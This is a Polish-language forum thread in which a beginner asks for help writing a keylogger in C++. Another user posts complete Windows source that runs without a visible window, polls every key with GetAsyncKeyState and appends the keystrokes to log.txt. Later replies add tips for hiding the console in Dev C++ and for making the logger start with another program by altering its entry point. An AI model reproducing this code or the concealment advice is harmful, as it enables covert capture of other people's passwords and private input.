[C++]Keylogger

mike512

Użytkownik
Dołączył
Styczeń 18, 2006
Posty
25
Ostatnio postanowiłem zająć się nieco programowaniem i korzystająć z tutoriali postanowiłem napisać swojego pierwszego, prostego keyloggera. Niestety jak to zawsze jest w takich wypadkach pojawiają się problemy.
Jak na razie zrobiłem mały prototyp programiku, w którym okno wiersza poleceń nie jest jeszcze ukryte. Mam pytanie, czy istnieje może jakaś funkcja odwołująca się do danej biblioteki, która może ukryć to okno oraz zapewni stałe działanie programu, nawet wtenczas, gdy uruchomione są inne aplikacje. Szukam także instrukcji (przydałaby się także biblioteka do niej ;]), która "czekałaby" na naciśnięcie klawisza, po czym program przechodziłby do wykonania następnych instrukcji. Nie chodzi mi o coś w stylu
'cin >>', która dopiero po wprowadzeniu klawiszem enter przechodzi do dalszych instrukcji.
W necie tymczasem poszukam sobie tablicę znaków w ASCII... ;]
 

mrh666

Użytkownik
Dołączył
Kwiecień 30, 2006
Posty
4
widze mike512 ze jeszcze długa droga przed toba ;]
poczytaj o okienkach troche i o komunikatach
to najprostrzy kelyloger jaki mi przychodzi do głowy :faja:
rozwiazuje to przynajmniej twoj problem z widoczna konsola
Kod:
#include <windows.h>

#include <iostream>



int WINAPI WinMain (HINSTANCE hThisInstance,

                    HINSTANCE hPrevInstance,

                    LPSTR lpszArgument,

                    int nFunsterStil)

{

    MSG messages;

    MSG msgKomunikat;

    msgKomunikat.message = WM_NULL;

    while (msgKomunikat.message != WM_QUIT)

    {

        if (PeekMessage(&msgKomunikat, NULL, 0, 0, PM_REMOVE))

        {

                TranslateMessage (&msgKomunikat);

                DispatchMessage (&msgKomunikat);

        }

    else

    {

    short character; 

         for(character=8;character<=222;character++) 

         { 

         if(GetAsyncKeyState(character)==-32767) 

         { 

         FILE *file; 

         if(file=fopen("log.txt","a+")) 

         { 

         if((character>=39)&&(character<=64)) 

         { 

         fputc(character,file); 

         fclose(file); 

         break; 

         } 

         else if((character>64)&&(character<91)) 

         { 

         character+=32; 

         fputc(character,file); 

         fclose(file); 

         break; 

         } 

         else 

         { 

         //rozpoznajemy, który klawisz został wciśnięty 

         switch(character) 

         { 

         case VK_SPACE: 

         fputc(' ',file); 

         fclose(file); 

         break; 

         case VK_SHIFT: 

         fputs("[SHIFT]",file); 

         fclose(file); 

         break; 

         case VK_RETURN: 

         fputs("n[ENTER]",file); 

         fclose(file); 

         break; 

         case VK_BACK: 

         fputs("[BACKSPACE]",file); 

         fclose(file); 

         break; 

         case VK_TAB: 

         fputs("[TAB]",file); 

         fclose(file); 

         break; 

         case VK_CONTROL: 

         fputs("[CTRL]",file); 

         fclose(file); 

         break; 

         case VK_DELETE: 

         fputs("[ DEL]",file); 

         fclose(file); 

         break; 

         case VK_OEM_1: 

         fputs("[;:]",file); 

         fclose(file); 

         break; 

         case VK_OEM_2: 

         fputs("[/?]",file); 

         fclose(file); 

         break; 

         case VK_OEM_3: 

         fputs("[`~]",file); 

         fclose(file); 

         break; 

         case VK_OEM_4: 

         fputs("[ [{ ]",file); 

         fclose(file); 

         break; 

         case VK_OEM_5: 

         fputs("[|]",file); 

         fclose(file); 

         break; 

         case VK_OEM_6: 

         fputs("[ ]} ]",file); 

         fclose(file); 

         break; 

         case VK_OEM_7: 

         fputs("['"]",file); 

         fclose(file); 

         break; 

         case VK_NUMPAD0: 

         fputc('0',file); 

         fclose(file); 

         break; 

         case VK_NUMPAD1: 

         fputc('1',file); 

         fclose(file); 

         break; 

         case VK_NUMPAD2: 

         fputc('2',file); 

         fclose(file); 

         break; 

         case VK_NUMPAD3: 

         fputc('3',file); 

         fclose(file); 

         break; 

         case VK_NUMPAD4: 

         fputc('4',file); 

         fclose(file); 

         break; 

         case VK_NUMPAD5: 

         fputc('5',file); 

         fclose(file); 

         break; 

         case VK_NUMPAD6: 

         fputc('6',file); 

         fclose(file); 

         break; 

         case VK_NUMPAD7: 

         fputc('7',file); 

         fclose(file); 

         break; 

         case VK_NUMPAD8: 

         fputc('8',file); 

         fclose(file); 

         break; 

         case VK_NUMPAD9: 

         fputc('9',file); 

         fclose(file); 

         break; 

         case VK_CAPITAL: 

         fputs("[CAPS LOCK]",file); 

         fclose(file); 

         break; 

         default: 

         fclose(file); 

         break; 

         } 

         } 

         } 

         } 

       }  

}

}

    /* The program return-value is 0 - The value that PostQuitMessage() gave */

    return messages.wParam;

}

/*  This function is called by the Windows function DispatchMessage()  */



LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)

{

    switch (message)                  /* handle the messages */

    {

        case WM_DESTROY:

            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */

            break;

        default:                   /* for messages that we don't deal with */

            return DefWindowProc (hwnd, message, wParam, lParam);

    }



    return 0;

}
 

ShadeX

Użytkownik
Dołączył
Kwiecień 21, 2006
Posty
14
mi ten program uruchamia sie jako widoczna konsola... da sie temu jakos zaradzic??
 

mike512

Użytkownik
Dołączył
Styczeń 18, 2006
Posty
25
Originally posted by ShadeX
mi ten program uruchamia sie jako widoczna konsola... da sie temu jakos zaradzic??

Jeśli używasz Dev C++, to wejdź na opcje kompilatora i jest tam coś takiego jak konsolidator - tam wystarczy tylko zrobić "nie pokazuj okna konsoli" - Yes i sprawa załatwiona. Jeszcze proponowałbym zastosować użycie funkcji sleep(1), by obniżyc użycie procesora.
Pozdrawiam.
 

Macok

Użytkownik
Dołączył
Listopad 14, 2006
Posty
12
A co zrobic zeby to sie wlaczalo razem ze startem jakiegos programu?
Tylko zeby nie trzeba tego bylo bindowac.
 

fl3a

Użytkownik
Dołączył
Marzec 12, 2005
Posty
538
Zmodyfikowac Entry Point pliku by np. tworzyl nowy proces
<
 
Do góry Bottom